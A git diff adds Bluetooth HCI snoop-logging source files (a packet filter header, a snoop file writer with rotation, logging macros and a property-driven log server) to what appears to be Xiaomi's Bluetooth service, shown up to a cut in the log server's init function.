0000000000000000000000000000000000000000..28d5ce126360ccd7558f06cfacc37b9229a99685 --- /dev/null +++ b/service/utils/btsnoop_filter.h @@ -0,0 +1,79 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_SNOOP_FILTER_H__ +#define __BT_SNOOP_FILTER_H__ + +#include "bt_list.h" +#include "bt_status.h" +#include "btsnoop_log.h" + +#define BTSNOOP_HCI_EVENT_STATUS_SUCCESS 0x00 +typedef enum { + BTSNOOP_HCI_TYPE_HCI_COMMAND = 0x01, + BTSNOOP_HCI_TYPE_ACL_DATA, + BTSNOOP_HCI_TYPE_SCO_DATA, + BTSNOOP_HCI_TYPE_HCI_EVENT, + BTSNOOP_HCI_TYPE_ISO_DATA +} btsnoop_hci_t; + +typedef enum { + BTSNOOP_PSM_RFCOMM = 0x0003, + BTSNOOP_PSM_AVDTP = 0x0019, + BTSNOOP_PSM_AVCTP_BROWSING = 0x001B, + BTSNOOP_PSM_ATT = 0x001F, +} btsnoop_psms_t; + +typedef enum { + BTSNOOP_CONNECT_COMPLETE = 0x03, + BTSNOOP_DISCONNECT_COMPLETE = 0x05, + BTSNOOP_NUMBER_OF_COMPLETED_PACKETS = 0x13, +} btsnoop_hci_event_t; + +typedef enum { + BTSNOOP_ACL_PB_NON_FLUSHABLE = 0x00, + BTSNOOP_ACL_PB_CONTINUING = 0x01, + BTSNOOP_ACL_PB_FLUSHABLE = 0x02, +} btsnoop_acl_pb_flag_t; + +typedef enum { + BTSNOOP_L2CAP_CODE_CONNECTION_REQUEST = 0x02, + BTSNOOP_L2CAP_CODE_CONNECTION_RESPONSE = 0x03, + BTSNOOP_L2CAP_CODE_DISCONNECTION_RESPONSE = 0x07, +} btsnoop_l2cap_code_t; + +typedef enum { + BTSNOOP_L2CAP_STATE_DISCONECTED = 0x00, + BTSNOOP_L2CAP_STATE_CONNECTING = 0x01, + BTSNOOP_L2CAP_STATE_CONNECTED = 0x02 +} btsnoop_l2cap_state_t; + +typedef enum { + BTSNOOP_L2CAP_RSP_RESULT_SUCCESSFUL = 0x00, + BTSNOOP_L2CAP_RSP_RESULT_PENDING = 0x01, + BTSNOOP_L2CAP_RSP_RESULT_PSM_NOT_SUPPORTED = 0x02, + BTSNOOP_L2CAP_RSP_RESULT_SECURITY_BLOCK = 0x03, + BTSNOOP_L2CAP_RSP_RESULT_NO_RESOURCES_AVAILABLE = 0x04, + BTSNOOP_L2CAP_RSP_RESULT_INVALID_SCID = 0x06, + BTSNOOP_L2CAP_RSP_RESULT_SCID_ALREADY_ALLOCATED = 0x07, +} btsnoop_l2cap_rsp_result_t; + +int filter_init(); +void filter_uninit(); +bool filter_can_filter(uint8_t is_recieve, uint8_t* hci_pkt, uint32_t hci_pkt_size); +int filter_set_filter_flag(btsnoop_filter_flag_t filter_flag); +int filter_remove_filter_flag(btsnoop_filter_flag_t filter_flag); +#endif //__SNOOP_FILTER_H__ \ No newline at end of file diff --git a/service/utils/btsnoop_log.c b/service/utils/btsnoop_log.c new file mode 100644 index 0000000000000000000000000000000000000000..34c349b6bd09a161e85fd318dacbf53b1c251335 --- /dev/null +++ b/service/utils/btsnoop_log.c @@ -0,0 +1,153 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <pthread.h> +#include <syslog.h> + +#include "btsnoop_filter.h" +#include "btsnoop_log.h" +#include "btsnoop_writer.h" +#include "log.h" +#include "service_loop.h" + +#ifndef CONFIG_BLUETOOTH_SNOOP_LOG +#define CONFIG_BLUETOOTH_SNOOP_LOG 1 +#endif + +static pthread_mutex_t snoop_lock = PTHREAD_MUTEX_INITIALIZER; +static bool snoop_enable = false; + +typedef struct { + uint8_t receive; + uint8_t pad[3]; + uint32_t hci_pkt_size; + uint8_t hci_pkt[]; +} btsnoop_hci_command_t; + +static void write_log(service_work_t* work, void* userdata) +{ + btsnoop_hci_command_t* hci_command = (btsnoop_hci_command_t*)userdata; + + if (hci_command == NULL) { + BT_LOGE("hci_pkt is null"); + return; + } + + writer_write_log(hci_command->receive, hci_command->hci_pkt, hci_command->hci_pkt_size); +} + +static void write_log_complete(service_work_t* work, void* userdata) +{ + free(userdata); +} + +void btsnoop_log_capture(uint8_t receive, uint8_t* hci_pkt, uint32_t hci_pkt_size) +{ +#if CONFIG_BLUETOOTH_SNOOP_LOG + btsnoop_hci_command_t* hci_command; + pthread_mutex_lock(&snoop_lock); + + if (!snoop_enable) { + goto error; + } + + if (filter_can_filter(receive, hci_pkt, hci_pkt_size)) { + goto error; + } + + hci_command = (btsnoop_hci_command_t*)malloc(sizeof(btsnoop_hci_command_t) + hci_pkt_size); + if (hci_command == NULL) { + BT_LOGE("malloc fail"); + goto error; + } + + hci_command->receive = receive; + hci_command->hci_pkt_size = hci_pkt_size; + memcpy(hci_command->hci_pkt, hci_pkt, hci_pkt_size); + + if (service_loop_work(hci_command, write_log, write_log_complete) == NULL) { + write_log_complete(NULL, hci_command); + } + +error: + pthread_mutex_unlock(&snoop_lock); +#endif +} + +int btsnoop_log_init(char* path) +{ + if (pthread_mutex_init(&snoop_lock, NULL) < 0) + return BT_STATUS_FAIL; + + set_snoop_file_path(path); + return BT_STATUS_SUCCESS; +} + +void btsnoop_log_uninit(void) +{ + pthread_mutex_destroy(&snoop_lock); +} + +int btsnoop_log_enable(void) +{ +#if CONFIG_BLUETOOTH_SNOOP_LOG + pthread_mutex_lock(&snoop_lock); + if (writer_init() < 0) { + syslog(LOG_ERR, "%s fail", __func__); + pthread_mutex_unlock(&snoop_lock); + return BT_STATUS_FAIL; + } + + if (filter_init() < 0) { + syslog(LOG_ERR, "%s fail", __func__); + pthread_mutex_unlock(&snoop_lock); + return BT_STATUS_FAIL; + } + + /* filter out the following snoop logs by default. */ + filter_set_filter_flag(BTSNOOP_FILTER_A2DP_AUDIO); + filter_set_filter_flag(BTSNOOP_FILTER_SPP); + filter_set_filter_flag(BTSNOOP_FILTER_NOCP); + + snoop_enable = true; + + pthread_mutex_unlock(&snoop_lock); + return BT_STATUS_SUCCESS; +#else + syslog(LOG_WARNING, "%s\n", "CONFIG_BLUETOOTH_SNOOP_LOG not set"); + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +void btsnoop_log_disable(void) +{ +#if CONFIG_BLUETOOTH_SNOOP_LOG + pthread_mutex_lock(&snoop_lock); + snoop_enable = false; + filter_uninit(); + writer_uninit(); + pthread_mutex_unlock(&snoop_lock); +#endif +} + +int btsnoop_set_filter(btsnoop_filter_flag_t filter_flag) +{ + return filter_set_filter_flag(filter_flag); +} + +int btsnoop_remove_filter(btsnoop_filter_flag_t filter_flag) +{ + return filter_remove_filter_flag(filter_flag); +} \ No newline at end of file diff --git a/service/utils/btsnoop_log.h b/service/utils/btsnoop_log.h new file mode 100644 index 0000000000000000000000000000000000000000..a48470758e3e6c5a590ca62c69f98ca6b31e1af5 --- /dev/null +++ b/service/utils/btsnoop_log.h @@ -0,0 +1,37 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_SNOOP_LOG_H__ +#define __BT_SNOOP_LOG_H__ + +#include "bt_list.h" +#include "bt_status.h" +#include "bt_trace.h" + +#include <stdint.h> + +#define CONFIG_BLUETOOTH_SNOOP_LOG_DEFAULT_PATH "/data/misc/bt/snoop" +#define SNOOP_PATH_MAX_LEN 255 + +void btsnoop_log_capture(uint8_t is_recieve, uint8_t* hci_pkt, uint32_t hci_pkt_size); +int btsnoop_log_init(char* path); +void btsnoop_log_uninit(void); +int btsnoop_log_enable(void); +void btsnoop_log_disable(void); +int btsnoop_set_filter(btsnoop_filter_flag_t filter_flag); +int btsnoop_remove_filter(btsnoop_filter_flag_t filter_flag); + +#endif //__BT_SNOOP_LOG_H__ \ No newline at end of file diff --git a/service/utils/btsnoop_writer.c b/service/utils/btsnoop_writer.c new file mode 100644 index 0000000000000000000000000000000000000000..2b6f1d94e19586b255ddb82c1425d0ccbfbb712e --- /dev/null +++ b/service/utils/btsnoop_writer.c @@ -0,0 +1,311 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <dirent.h> +#include <errno.h> +#include <fcntl.h> +#include <stddef.h> +#include <stdint.h> +#include <stdio.h> +#include <string.h> +#include <sys/stat.h> +#include <sys/types.h> +#include <syslog.h> +#include <time.h> + +#include "bt_time.h" +#include "btsnoop_log.h" +#include "btsnoop_writer.h" + +#define SNOOP_FILE_NAME_PREFIX "/snoop_" +#define SNOOP_FILE_NAME_PREFIX_LEN 7 +#define SNOOP_FILE_NAME_DATE_LEN 80 +#define SNOOP_FILE_NAME_SUFFIX "%s_%" PRIu32 ".log" +#define SNOOP_FILE_NAME_SUFFIX_LEN (20 + SNOOP_FILE_NAME_DATE_LEN) +#define SNOOP_FILE_NAME SNOOP_FILE_NAME_PREFIX SNOOP_FILE_NAME_SUFFIX +#define SNOOP_FILE_NAME_LEN (SNOOP_FILE_NAME_PREFIX_LEN + SNOOP_FILE_NAME_SUFFIX_LEN) +#define SNOOP_FILE_FULL_NAME_MAX_LEN (SNOOP_FILE_NAME_LEN + SNOOP_PATH_MAX_LEN) +#define SNOOP_FILE_TYPE 1002 + +#define write_snoop_file(buf, buf_size) \ + do { \ + ret = write(g_using_file.snoop_fd, buf, buf_size); \ + if (ret < 0) \ + syslog(LOG_ERR, "snoop log header write ret:%d, error:%d\n", ret, errno); \ + else \ + g_using_file.size += ret; \ + \ + } while (0) + +typedef struct { + int snoop_fd; + size_t size; +} btsnoop_file_t; + +struct btsnoop_file_hdr { + uint8_t id[8]; /* Identification Pattern */ + uint32_t version; /* Version Number = 1 */ + uint32_t type; /* Datalink Type */ +}; + +struct btsnoop_pkt_hdr { + uint32_t size; /* Original Length */ + uint32_t len; /* Included Length */ + uint32_t flags; /* Packet Flags: 1 hci cmd */ + uint32_t drops; /* Cumulative Drops */ + uint64_t ts; /* Timestamp microseconds */ +}; + +static time_t time_base; +static uint32_t ms_base; +static btsnoop_file_t g_using_file = { 0 }; +static char g_snoop_file_path[SNOOP_PATH_MAX_LEN + 1]; + +static void close_snoop_file(void) +{ + if (g_using_file.snoop_fd > 0) { + fsync(g_using_file.snoop_fd); + close(g_using_file.snoop_fd); + g_using_file.snoop_fd = 0; + g_using_file.size = 0; + } +} +static uint32_t get_current_time_ms(void) +{ + return (uint32_t)(bt_get_os_timestamp_us() / 1000); +} + +static unsigned long byteswap_ulong(unsigned long val) +{ + unsigned char* byte_val = (unsigned char*)&val; + return ((unsigned long)byte_val[3] + ((unsigned long)byte_val[2] << 8) + ((unsigned long)byte_val[1] << 16) + ((unsigned long)byte_val[0] << 24)); +} + +static int get_latest_file_and_clean_others(char* out_latest_file, bool clean_files) +{ + DIR* dir; + struct dirent* entry; + struct stat file_stat; + time_t latest_time = -1; + char* full_path; + char* latest_file; + + full_path = zalloc(SNOOP_FILE_FULL_NAME_MAX_LEN + 1); + if (full_path == NULL) { + return BT_STATUS_FAIL; + } + + latest_file = zalloc(SNOOP_FILE_FULL_NAME_MAX_LEN + 1); + if (latest_file == NULL) { + free(full_path); + return BT_STATUS_FAIL; + } + + dir = opendir(g_snoop_file_path); + if (dir == NULL) { + syslog(LOG_ERR, "snoop folder open fail:%d", errno); + free(latest_file); + free(full_path); + return BT_STATUS_FAIL; + } + + while ((entry = readdir(dir)) != NULL) { + snprintf(full_path, SNOOP_FILE_FULL_NAME_MAX_LEN, "%s/%s", g_snoop_file_path, entry->d_name); + if (strncmp(entry->d_name, SNOOP_FILE_NAME_PREFIX, strlen(SNOOP_FILE_NAME_PREFIX)) != 0) { + continue; + } + + if (stat(full_path, &file_stat) != 0) { + syslog(LOG_ERR, "get snoop file stat fail:%d", errno); + continue; + } + + if (!S_ISREG(file_stat.st_mode)) { + continue; + } + + if (clean_files && file_stat.st_mtime > latest_time) { + if (remove(latest_file) != 0) { + syslog(LOG_ERR, "remove snoop file fail:%d, %s", errno, latest_file); + } + + } else if (clean_files && latest_time != -1) { + if (remove(full_path) != 0) { + syslog(LOG_ERR, "remove snoop file fail:%d, %s", errno, full_path); + } + } + + if (latest_time == -1 || file_stat.st_mtime > latest_time) { + latest_time = file_stat.st_mtime; + strlcpy(latest_file, full_path, SNOOP_FILE_FULL_NAME_MAX_LEN); + } + } + + if (NULL != out_latest_file) { + strlcpy(out_latest_file, latest_file, SNOOP_FILE_FULL_NAME_MAX_LEN); + } + + closedir(dir); + + free(latest_file); + free(full_path); + return BT_STATUS_SUCCESS; +} + +int btsnoop_create_new_file(void) +{ + struct btsnoop_file_hdr hdr; + time_t rawtime; + struct tm* info; + char ts_str[SNOOP_FILE_NAME_DATE_LEN + 1]; + int ret; + char* full_file_name; + + close_snoop_file(); + + if (-1 == mkdir(g_snoop_file_path, 0777) && errno != EEXIST) { + syslog(LOG_ERR, "snoop folder create fail:%d", errno); + return -errno; + } + + time_base = time(NULL); + ms_base = get_current_time_ms(); + + time(&rawtime); + info = localtime(&rawtime); + if (info == NULL) { + return -1; + } + + snprintf(ts_str, sizeof(ts_str), "%d%02d%02d_%02d%02d%02d", + info->tm_year + 1900, + info->tm_mon + 1, + info->tm_mday, + info->tm_hour, + info->tm_min, + info->tm_sec); + + full_file_name = malloc(SNOOP_FILE_FULL_NAME_MAX_LEN + 1); + snprintf(full_file_name, SNOOP_FILE_FULL_NAME_MAX_LEN, "%s" SNOOP_FILE_NAME, g_snoop_file_path, ts_str, ms_base); + ret = open(full_file_name, O_RDWR | O_CREAT | O_TRUNC, + S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH); + free(full_file_name); + + if (ret < 0) { + g_using_file.snoop_fd = -1; + return ret; + } + + g_using_file.snoop_fd = ret; + g_using_file.size = 0; + syslog(LOG_ERR, "create fd:%d", ret); + + memcpy(hdr.id, "btsnoop", sizeof(hdr.id)); + hdr.version = byteswap_ulong(1); + hdr.type = byteswap_ulong(SNOOP_FILE_TYPE); + + write_snoop_file(&hdr, sizeof(hdr)); + return ret; +} + +int open_snoop_file(char* latest_file) +{ + int fd; + size_t file_size; + + fd = open(latest_file, O_RDWR, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH); + + if (fd < 0) { + syslog(LOG_ERR, "open snoop file fail:%d", errno); + return fd; + } + + file_size = lseek(fd, 0, SEEK_END); + + g_using_file.snoop_fd = fd; + g_using_file.size = file_size; + + return BT_STATUS_SUCCESS; +} + +void set_snoop_file_path(char* path) +{ + strlcpy(g_snoop_file_path, path, SNOOP_PATH_MAX_LEN); +} + +int writer_init() +{ + DIR* dir; + char latest_file[SNOOP_FILE_FULL_NAME_MAX_LEN + 1] = ""; + + dir = opendir(g_snoop_file_path); + if (dir == NULL) { + closedir(dir); + return btsnoop_create_new_file(); + } + closedir(dir); + + get_latest_file_and_clean_others(latest_file, false); + + if (latest_file[0] == '\0') { + return btsnoop_create_new_file(); + } + + return open_snoop_file(latest_file); +} + +void writer_uninit() +{ + close_snoop_file(); +} + +int writer_write_log(uint8_t is_recieve, uint8_t* p, uint32_t len) +{ + struct btsnoop_pkt_hdr pkt; + uint32_t ms; + int ret; + + if (g_using_file.snoop_fd < 0) + return BT_STATUS_FAIL; + + if (g_using_file.size + sizeof(pkt) + len > CONFIG_MAX_SNOOP_FILE_SIZE) { + get_latest_file_and_clean_others(NULL, true); + ret = btsnoop_create_new_file(); + if (ret < 0) + return ret; + } + + ms = get_current_time_ms() - ms_base; + const uint64_t sec = (uint32_t)(time_base + ms / 1000 + 8 * 3600); + const uint64_t usec = (uint32_t)((ms % 1000) * 1000); + uint64_t nts = (sec - (int64_t)946684800) * (int64_t)1000000 + usec; + uint32_t* d = (uint32_t*)&pkt.ts; + uint32_t* s = (uint32_t*)&nts; + + pkt.size = byteswap_ulong(len); + pkt.len = pkt.size; + pkt.drops = 0; + pkt.flags = (is_recieve) ? byteswap_ulong(0x01) : 0; + nts += (0x4A676000) + (((int64_t)0x00E03AB4) << 32); + d[0] = byteswap_ulong(s[1]); + d[1] = byteswap_ulong(s[0]); + + write_snoop_file(&pkt, sizeof(pkt)); + write_snoop_file(p, len); + + fsync(g_using_file.snoop_fd); + + return BT_STATUS_SUCCESS; +} diff --git a/service/utils/btsnoop_writer.h b/service/utils/btsnoop_writer.h new file mode 100644 index 0000000000000000000000000000000000000000..7c2d82a527c52d09f251709084c8d8d51783c356 --- /dev/null +++ b/service/utils/btsnoop_writer.h @@ -0,0 +1,25 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_SNOOP_WRITER_H__ +#define __BT_SNOOP_WRITER_H__ + +int writer_init(); +void writer_uninit(); +int writer_write_log(uint8_t is_recieve, uint8_t* p, uint32_t len); +void set_snoop_file_path(char* path); + +#endif \ No newline at end of file diff --git a/service/utils/log.h b/service/utils/log.h new file mode 100644 index 0000000000000000000000000000000000000000..2cf714fa84e11a46adc370f2632cee0d3f69b19d --- /dev/null +++ b/service/utils/log.h @@ -0,0 +1,103 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_LOG_H__ +#define __BT_LOG_H__ + +#include <assert.h> +#include <inttypes.h> +#include <stdarg.h> +#include <stdbool.h> +#include <stdint.h> +#include <syslog.h> + +#ifndef LOG_TAG +#define LOG_TAG "BT" +#endif + +#define _S_LINE(x) #x +#define __S_LINE(x) _S_LINE(x) +#define __S_LINE__ __S_LINE(__LINE__) + +#define LOG_ID_SNOOP 0 +#define LOG_ID_STACK 1 +#define LOG_ID_FRAMEWORK 2 + +enum bt_log_level_ { + BT_LOG_LEVEL_OFF = 0x0, + BT_LOG_LEVEL_ERROR = LOG_ERR, + BT_LOG_LEVEL_WARNING = LOG_WARNING, + BT_LOG_LEVEL_INFO = LOG_INFO, + BT_LOG_LEVEL_DEBUG = LOG_DEBUG, +}; + +#ifndef CONFIG_BLUETOOTH_SERVICE_LOG_LEVEL +#define DEFAULT_BT_LOG_LEVEL BT_LOG_LEVEL_OFF +#define BT_LOG(id, level, fmt, ...) +#define BT_LOGE(fmt, args...) +#define BT_LOGW(fmt, args...) +#define BT_LOGI(fmt, args...) +#define BT_LOGD(fmt, args...) +#else +extern bool bt_log_print_check(uint8_t level); + +#define DEFAULT_BT_LOG_LEVEL CONFIG_BLUETOOTH_SERVICE_LOG_LEVEL + +#define BT_LOG(id, level, fmt, args...) syslog(level, "["__S_LINE__ \ + "]" \ + "[" LOG_TAG "]" \ + ": " fmt "\n", \ + ##args); +#define BT_LOGE(fmt, ...) \ + do { \ + if (bt_log_print_check(BT_LOG_LEVEL_ERROR)) \ + BT_LOG(LOG_ID_FRAMEWORK, BT_LOG_LEVEL_ERROR, fmt, ##__VA_ARGS__); \ + } while (0); +#define BT_LOGW(fmt, ...) \ + do { \ + if (bt_log_print_check(BT_LOG_LEVEL_WARNING)) \ + BT_LOG(LOG_ID_FRAMEWORK, BT_LOG_LEVEL_WARNING, fmt, ##__VA_ARGS__); \ + } while (0); +#define BT_LOGI(fmt, ...) \ + do { \ + if (bt_log_print_check(BT_LOG_LEVEL_INFO)) \ + BT_LOG(LOG_ID_FRAMEWORK, BT_LOG_LEVEL_INFO, fmt, ##__VA_ARGS__); \ + } while (0); +#define BT_LOGD(fmt, ...) \ + do { \ + if (bt_log_print_check(BT_LOG_LEVEL_DEBUG)) \ + BT_LOG(LOG_ID_FRAMEWORK, BT_LOG_LEVEL_DEBUG, fmt, ##__VA_ARGS__); \ + } while (0); +#endif + +#define BT_ADDR_LOG(fmt, _addr, ...) \ + do { \ + char _addr_str[BT_ADDR_STR_LENGTH] = { 0 }; \ + bt_addr_ba2str(_addr, _addr_str); \ + BT_LOGI(fmt, _addr_str, ##__VA_ARGS__); \ + } while (0); + +#ifdef CONFIG_BLUETOOTH_DUMPBUFFER +#define BT_DUMPBUFFER(m, a, n) lib_dumpbuffer(m, a, n) +#else +#define BT_DUMPBUFFER(m, a, n) +#endif + +void bt_log_server_init(void); +void bt_log_server_cleanup(void); +void bt_log_module_enable(int id, bool changed); +void bt_log_module_disable(int id, bool changed); +#endif diff --git a/service/utils/log_server.c b/service/utils/log_server.c new file mode 100644 index 0000000000000000000000000000000000000000..33d9903a7f1c8d7744c0be240de561e9146a3892 --- /dev/null +++ b/service/utils/log_server.c @@ -0,0 +1,319 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdbool.h> +#include <stdint.h> +#include <string.h> +#include <syslog.h> + +#ifdef CONFIG_KVDB +#include <kvdb.h> +#endif + +#include "bt_status.h" +#include "btsnoop_log.h" +#include "log.h" +#include "sal_interface.h" +#include "service_loop.h" + +enum { + FRAMEWORK_LOG_LEVEL_CHANGED, + STACK_LOG_EN_CHANGED, + STACK_LOG_MASK_CHANGED, + SNOOP_LOG_EN_CHANGED, +}; + +#define PERSIST_BT_LOG_CHANGED "persist.bluetooth.log.changed" +#define PERSIST_BT_FRAMEWORK_LOG_LEVEL "persist.bluetooth.log.level" +#define PERSIST_BT_STACK_LOG_EN "persist.bluetooth.log.stack_enable" +#define PERSIST_BT_STACK_LOG_MASK "persist.bluetooth.log.stack_mask" +#define PERSIST_BT_SNOOP_LOG_EN "persist.bluetooth.log.snoop_enable" +#define PERSIST_BT_SNOOP_FILE_PATH "persist.bluetooth.log.snoop_path" + +// #define PERSIST_BT_SNOOP_LOG_CID_MASK "persist.bluetooth.log.snoop_cid_mask" +// #define PERSIST_BT_SNOOP_LOG_PKT_MASK "persist.bluetooth.log.snoop_pkt_mask" + +struct bt_logger { + uint8_t stack_enable; + uint8_t snoop_enable; + + uint8_t framework_level; + int stack_mask; + int snoop_cid_mask; + int snoop_pkt_mask; + + int monitor_fd; + service_poll_t* poll; +}; + +static struct bt_logger g_logger = { 0, 0, BT_LOG_LEVEL_OFF, 0, 0, 0, -1 }; + +static const char* log_id_str(uint8_t id) +{ + switch (id) { + case LOG_ID_SNOOP: + return "SNOOP"; + case LOG_ID_STACK: + return "STACK"; + case LOG_ID_FRAMEWORK: + return "FRAMEWORK"; + default: + return ""; + } +} + +static uint8_t bt_log_set_level(uint8_t level, bool changed) +{ + if (level != BT_LOG_LEVEL_OFF && level != BT_LOG_LEVEL_ERROR && level != BT_LOG_LEVEL_WARNING && level != BT_LOG_LEVEL_INFO && level != BT_LOG_LEVEL_DEBUG) + return g_logger.framework_level; + + g_logger.framework_level = level; + +#if defined(CONFIG_KVDB) && defined(__NuttX__) + if (!changed) { + property_set_int32(PERSIST_BT_FRAMEWORK_LOG_LEVEL, level); + property_commit(); + } +#endif + syslog(LOG_INFO, "framework log level: %d\n", g_logger.framework_level); + + return g_logger.framework_level; +} + +static int stack_log_setup(void) +{ + if (bt_sal_debug_enable() != BT_STATUS_SUCCESS) { + syslog(LOG_ERR, "%s\n", "stack log not support"); + return -1; + } + + if (bt_sal_debug_update_log_mask(g_logger.stack_mask) != BT_STATUS_SUCCESS) { + syslog(LOG_ERR, "%s\n", "stack log mask update fail"); + bt_sal_debug_disable(); + return -1; + } + + return 0; +} + +void bt_log_module_enable(int id, bool changed) +{ + const char* property = NULL; + syslog(LOG_DEBUG, "%s, id %d\n", __func__, id); + switch (id) { + case LOG_ID_SNOOP: { + if (g_logger.snoop_enable) + return; + + if (btsnoop_log_enable() != BT_STATUS_SUCCESS) { + syslog(LOG_ERR, "%s\n", "enable snoop log fail"); + return; + } + g_logger.snoop_enable = 1; + property = PERSIST_BT_SNOOP_LOG_EN; + break; + } + case LOG_ID_STACK: { + if (g_logger.stack_enable) + return; + + if (stack_log_setup() != 0) + return; + + g_logger.stack_enable = 1; + property = PERSIST_BT_STACK_LOG_EN; + break; + } + case LOG_ID_FRAMEWORK: { + return; + } + } + +#if defined(CONFIG_KVDB) && defined(__NuttX__) + if (!changed) { + property_set_int32(property, 1); + property_commit(); + } +#endif + syslog(LOG_INFO, "%s enabled\n", log_id_str(id)); +} + +void bt_log_module_disable(int id, bool changed) +{ + const char* property = NULL; + syslog(LOG_DEBUG, "%s id %d\n", __func__, id); + switch (id) { + case LOG_ID_SNOOP: { + if (!g_logger.snoop_enable) + return; + + btsnoop_log_disable(); + g_logger.snoop_enable = 0; + property = PERSIST_BT_SNOOP_LOG_EN; + break; + } + case LOG_ID_STACK: { + if (!g_logger.stack_enable) + return; + + bt_sal_debug_disable(); + g_logger.stack_enable = 0; + property = PERSIST_BT_STACK_LOG_EN; + break; + } + case LOG_ID_FRAMEWORK: { + g_logger.framework_level = BT_LOG_LEVEL_OFF; + return; + } + } + +#if defined(CONFIG_KVDB) && defined(__NuttX__) + if (!changed) { + property_set_int32(property, 0); + property_commit(); + } +#endif + syslog(LOG_INFO, "%s disabled\n", log_id_str(id)); +} + +#if defined(CONFIG_KVDB) && defined(__NuttX__) +static void property_monitor_cb(service_poll_t* poll, + int revent, void* userdata) +{ + if (revent & POLL_ERROR || revent & POLL_DISCONNECT) { + service_loop_remove_poll(g_logger.poll); + g_logger.poll = NULL; + if (g_logger.monitor_fd) + property_monitor_close(g_logger.monitor_fd); + g_logger.monitor_fd = -1; + } else if (revent & POLL_READABLE) { + int changed = 0; + char key[PROP_NAME_MAX]; + int new; + + property_monitor_read(g_logger.monitor_fd, key, &changed, sizeof(changed)); + if (changed & (1 << FRAMEWORK_LOG_LEVEL_CHANGED)) { + new = property_get_int32(PERSIST_BT_FRAMEWORK_LOG_LEVEL, 0); + if (new != g_logger.framework_level) + bt_log_set_level(new, true); + } + + if (changed & (1 << STACK_LOG_EN_CHANGED)) { + new = property_get_int32(PERSIST_BT_STACK_LOG_EN, 0); + if (new != g_logger.stack_enable) { + if (new) + bt_log_module_enable(LOG_ID_STACK, true); + else + bt_log_module_disable(LOG_ID_STACK, true); + } + } + + if (changed & (1 << STACK_LOG_MASK_CHANGED)) { + new = property_get_int32(PERSIST_BT_STACK_LOG_MASK, 0); + if (new != g_logger.stack_mask) { + g_logger.stack_mask = new; + bt_sal_debug_update_log_mask(g_logger.stack_mask); + } + } + + if (changed & (1 << SNOOP_LOG_EN_CHANGED)) { + new = property_get_int32(PERSIST_BT_SNOOP_LOG_EN, 0); + if (new != g_logger.snoop_enable) { + if (new) + bt_log_module_enable(LOG_ID_SNOOP, true); + else + bt_log_module_disable(LOG_ID_SNOOP, true); + } + } + } +} +#endif + +void bt_log_server_init(void) +{ +#if defined(CONFIG_KVDB) && defined(__NuttX__) + char path[SNOOP_PATH_MAX_LEN] = { 0 }; + + /** framework log init */ + g_logger.framework_level = property_get_int32(PERSIST_BT_FRAMEWORK_LOG_LEVEL, DEFAULT_BT_LOG_LEVEL); + + /** stack log init */ + bt_sal_debug_init(); + g_logger.stack_enable = property_get_int32(PERSIST_BT_STACK_LOG_EN, 0); + g_logger.stack_mask = property_get_int32(PERSIST_BT_STACK_LOG_MASK, 0); + if (g_logger.stack_enable) + stack_log_setup(); + + if 